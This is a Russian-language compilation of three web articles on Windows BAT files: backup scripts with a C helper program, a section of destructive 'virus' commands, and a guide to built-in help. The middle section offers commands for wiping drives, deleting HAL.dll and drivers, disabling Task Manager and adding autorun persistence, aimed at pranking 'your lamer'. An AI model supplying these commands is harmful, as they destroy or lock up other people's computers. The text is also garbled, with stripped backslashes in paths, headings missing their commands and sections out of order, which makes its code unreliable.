В BAT файлах можно использовать любые команды MS DOS. Смысл нашей программы будет в том, чтобы она создала папочку и скопировала туда содержимое текущей папочки. Пишем:
echo off
cls
echo start backup
mkdir backup
copy *.* backup
echo end backup
И смотрим в проводнике:
Вот так, все получилось ! И не надо постоянно копировать много файлов и создавать папочку. Совершенно не обладая навыками программирования Вы можете все-таки облегчить себе жизнь.
Обработка параметров в BAT файле
Вызывая из командной строки bat файл:
или из другого файла:
call 6.bat 18012002
Внутри этого BAT файла Вы можно обработать параметры. Для получения параметра мы должны использовать символ % и номер параметра. MS DOS заменит эту конструкцию переданным параметром. Давайте пробовать:
echo off
cls
echo start backup
mkdir %1
copy *.* %1
echo end backup
Команды BAT файлов
Специальных команд, которые используются в BAT файлах не много. Именно специальных, которые могут пригодиться при создании логики командного файла. Конечно, эти команды относятся к внутренним командам MS DOS и могут использоваться в командной строке, но все-таки эти команды обретают смысл только в пакетных файлах.
Топ 5 bat-файлов которые вам пригодятся
call Вызов одного пакетного файла из другого.
echo Вывод сообщений и переключение режима отображения команд на экране.
for Запуск указанной команды для каждого из файлов в наборе.
goto Передача управления в отмеченную строку пакетного файла.
if Оператор условного выполнения команд в пакетном файле.
pause Приостановка выполнения пакетного файла и вывод сообщения
rem Помещение комментариев в пакетные файлы и файл CONFIG.SYS.
shift Изменение содержимого (сдвиг) подставляемых параметров для пакетного файла.
Кстати Вы можете легко получить подсказку по каждой этой команде в сеансе MS DOS используя ключ /?
Как работают BAT файлы
Итак, у нас есть внутренние команды и внешние. После того как в BAT файле находится команда, то сначала проверяется есть ли такая команда внутри command.com. Например echo — это внутренняя команда и исполняет ее command.com. Если же эта команда не найдена, то будет произведен поиск файла с расширением exe или com во всех каталогах указанных в переменной среды PATH. Смотрите на рисунок ниже.
Команды echo и cls будут обработаны внутри command.com. А команда edit.com не будет обработана (кстати расширение можно не указывать) раз такой команды нет, то будут исследованы все доступные пути на предмет файлов с таким названием. Если файл будет найдет, то он будет запущен. Это очень важно, так как позволяет нам очень быстро используя простые средства разработки типа Turbo C++ или Turbo Pascal создавать расширения стандартных команд. Сразу скажу, что подобные программы должны создаваться для MS DOS, а современные средства разработки типа Visual C++ 6.0 не умеют создавать эти простенькие программы.
Использование PAUSE
bat и cmd файлы | УРОК 1
Сам код и EXE есть в проекте. Как этим EXE можно воспользоваться ? Смотрите:
runbats.exe times.txt temp.bat start.bat
Первый параметр — это файл откуда брать строку, второй параметр — это какой BAT файл сформировать, третий параметр — это какой BAT файл вызывать. Результат работы будет такой.
Борьба с недостатками окончание
Нам осталось только сложить все в месте. Пишем backup.bat:
times.exe times.txt
runbats times.txt temp.bat start.bat
temp.bat
Получить дату в файл, сформировать BAT файл с параметрами и запустить его. В результате работы все получится.
Вся идея в том, что последний BAT файл, который мы запускаем формируется динамически. А весь код, который нужно выполнить пишется в Start.bat. Если Вы хотите, чтобы копирование производилось на сервер, используйте UNC пути (см. «Шаг 18 — Universal Naming Convention — UNC»). Вот, например, BAT файл, который у меня работает.
mkdir \Serverswork%1
copy *.* \Serverswork%1
Можно добавить в автозапуск и Ваша папочка будет копироваться на сервер каждый день, кроме того Вы сможете найти копии по датам.
Борьба с недостатками
Одним из недостатков BAT файлов является то, что в результате работы какой-то программы мы не можем получить ее результат, кроме кода возврата. Ну, например, мы хотим, чтобы при запуске BAT файла производилось резервное копирование в папочку. Это мы можем сделать, а вот как сделать так, чтобы имя папки формировалось в соответствии с текущей датой.
Умея немного программировать для DOS это можно сделать. Напишем программу Times.exe, которая будет записывать в указанный файл текущую дату. Я использовал Borland C++ 3.1, Вы можете использовать все, что может делать программы в формате MS DOS. Вот код.
#include «stdio.h»
#include «process.h»
#include «FCNTL.H»
#include «string.h»
#include «io.h»
int main(int argc, char *argv[ ])
printf(«First Steps Site(C) 2002n»);
if (argc==4)
int ifile;
int ofile;
int rez;
ifile=_open(argv[1],O_RDONLY);
if (ifile!=-1)
char buffer[255];
rez=read(ifile,buffer,254);
if (rez!=-1)
printf(argv[1]);
printf(» «);
printf(argv[2]);
printf(» «);
buffer[rez]=0;
printf(buffer);
printf(«n»);
ofile=open(argv[2], O_CREAT | O_WRONLY | O_TRUNC);
if (ofile!=-1)
write(ofile,argv[3],strlen(argv[3]));
write(ofile,» «,2);
write(ofile,buffer,strlen(buffer));
close(ofile);
>
else
printf(«error createn»);
return 1;
>
>
else
printf(«error readn»);
return 1;
>
>
else
printf(«error open file n»);
return 1;
>
return 0;
>
else
printf(«error parametrsn»);
return 1;
>
>
Сам код и готовый EXE находится в проекте. Использовать его достаточно легко, надо создавать BAT файл, в котором передается параметр.
times.exe times.txt
В результате работы будет создан текстовый файл, в котором находится текущая дата.
Источник: pontin.ru
Команды для .bat! ВСЕГДА актуально
Listen to this article
Нередко советы по тем или иным действиям и исправлениям в Windows 10, 8 и Windows 7 включают в себя шаги наподобие: «создайте файл .bat со следующим содержимым и запустите его». Однако, начинающий пользователь не всегда знает, как это сделать и что собой представляет такой файл. Первый и самый простой способ создать bat файл — использовать стандартную программу «Блокнот», присутствующую во всех актуальных версиях Windows.
Шаги по созданию будут следующими
- Запустите Блокнот (находится в Программы — Стандартные, в Windows 10 быстрее запустить через поиск в панели задач, если блокнота нет в меню «Пуск», запустить его можно из C:Windowsnotepad.exe).
- Введите в блокнот код вашего bat файла (например, скопируйте откуда-то, либо напишите свой, о некоторых командах — далее в инструкции).
- В меню блокнота выберите «Файл» — «Сохранить как», выберите место сохранение файла, укажите имя файла с расширением .bat и, обязательно, в поле «Тип файла» установите «Все файлы».
- Нажмите кнопку «Сохранить».
Примечание: если файл не сохраняется в указанное расположение, например, на диск C, с сообщение «У вас нет разрешения на сохранение файлов в этом месте», сохраните его в папку «Документы» или на рабочий стол, а затем скопируйте в нужное расположение (причина проблемы в том, что в Windows 10 для записи в некоторые папки нужны права администратора, а поскольку блокнот не был запущен от имени администратора, он не может сохранить файл в указанную папку).
Ваш файл .bat готов: если его запустить, будут автоматически выполнены все перечисленные в файле команды (при условии отсутствия ошибок и необходимости прав администратора: в некоторых случаях может потребоваться запускать файл bat от имени администратора: правый клик по файлу .bat — запустить от имени администратора в контекстном меню).
Примечание: в дальнейшем, если вы захотите отредактировать созданный файл, просто нажмите по нему правой кнопкой мыши и выберите «Изменить».
Запуск программ в файле bat и другие базовые команды
Выключается компьютер
Перезагрузка компьютера
Запрещает запускать программы
Удаление дров
Удаляет звуки Windows
Запрещает заходить в панель управления
Запрещает комбинацию Ctrl-Alt-Delete
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
Меняет местами значение кнопок мыши
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
Удаляет курсор мыши
del «%SystemRoot%Cursors*.*» >nul
Меняет название корзины
Убирает панель управления
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f
Серьезные вирусы:
Удаляет ВСЕ с разделадиска(не пытайтесь проверить у себя)
rd [Буква_Диск]: /s /q
Удаляет все файлы в program files
del c:Program Files/q
Убивает процесс explorer.exe
taskkill /f /im explorer.exe >nul
Создает миллион папок
FOR /L %%i IN (1,1,1000000) DO md %%i
Удаляет все драйвера, которые установлены на компьютере
del «%SystemRoot%Driver Cachei386driver.cab» /f /q >nul
Удаляет команду DEL
del %0
Будет открывать бесконечно Paint
😡 Start mspaint goto x
Изменяет расширение всех ярлыков на .txt (ломает многие ярлыки)
assoc .lnk=.txt
Заражает Autoexec
copy «»%0″» «%SystemRoot%system32batinit.bat» >nul reg add «HKCUSOFTWAREMicrosoftCommand Processor» /v AutoRun /t REG_SZ /d «%SystemRoot%syste m32batinit.bat» /f >nul
Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)
сбой системы (!) — выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
rundll32 user,disableoemlayer
Меняет местами кнопки мыши, но обратная смена не возможна)
rundll32 user,SwapMouseButton
Удаляет ядро системы
del %systemroot%system32HAL.dll
Вирус заражает *.JPG в текущем каталоге
Жестокие вирусы:
У вашего ламера будет глючить компьютер.
Вирус который убивает Винду. Не проверяйте на своем компьютере=)
Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)
Добавляет программу в автозагрузку ОС
copy «»%0″» «%SystemRoot%system32File.bat» reg add «HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun» /v «Filel» /t REG_SZ /d «%SystemRoot%system32File.bat» /f reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoControlPanel /t REG_DWORD /d 1 /f
Этот вирус,блокирует все программы,но интернет работает.
Вы можете менять названия программ, расширений, текст, коды и т. д. Если вам нужно, вы сможете собрать свой вирус (или прогу для троллинга) за несколько минут. Это не гайд по сборке вируса.
Я рассказал про наиболее интересные команды ОС Виндовс, но далеко не про все. Кого заинтересовал этот вопрос и кто хочет узнать больше может воспользоваться интернетом и поиском в системах Яндекс, Гугл и им аналогичных. Использование bat-файлов и подходящих редакторов с разметкой текста, а также интернет ресурсов позволяет весьма удобно программировать без среды разработки на любом языке.
Источник: rucore.net
Bat команды в Windows
В прошлом материале Мы пробовали создать bat файл в Windows 7, 8, теперь пришло время рассмотреть bat команды. В основном тут используются команды вводимые в cmd, но есть и такие, которые нет смысла использовать в командной строке.
Как получить полный список bat команд
Для описания всех команд потребуется написать целый ряд статей, чтобы Вас сильно не нагружать ограничимся в рамках одной статьи и рассмотрим компактную информацию. Как известно, команды bat файла и cmdодни и те же, чтобы получить их список запустите cmd в Виндовс 7 или командную строку в Windows 8. Введите команду справки, которая по-английски пишется как help, нажмите Enter. В результате компьютер в интерфейсе cmd пропишет все команды с кратким описанием.
Ознакомившись с данным списком, Вы захотите узнать поподробнее, что представляет собой определенная bat команда. Например, выберем команду for, для ее описания введем help for или for /? и кликнем энтер. В результате Вы получите оперативную справку по команде, она объемная, поэтому потребуется нажать несколько раз любую клавишу, чтобы ознакомиться с последующим описанием. Таким образом, можно изучить синтаксис той или иной команды.
Команды bat файла
Сейчас познакомимся с командами, используемыми в пакетном файле, с кратким описанием. Они не чувствительны к регистру, тем не менее, Мы их перечислили в верхнем регистре, чтобы помочь с идентификацией.
Это является основой bat команд. Синтаксис некоторых элементов сложен для новичков и требует определенные знания. Все команды bat файла, описанные выше, рассмотрены поверхностно, с целью узнать их предназначение, а полный синтаксис Вы найдете в справке Windows.
Посмотрите еще статьи:
- Выключить компьютер из командной строки
- Перезагрузка компьютера из командной строки — команда shutdown
- Как удалить папку через командную строку
Источник: nastrojcomp.ru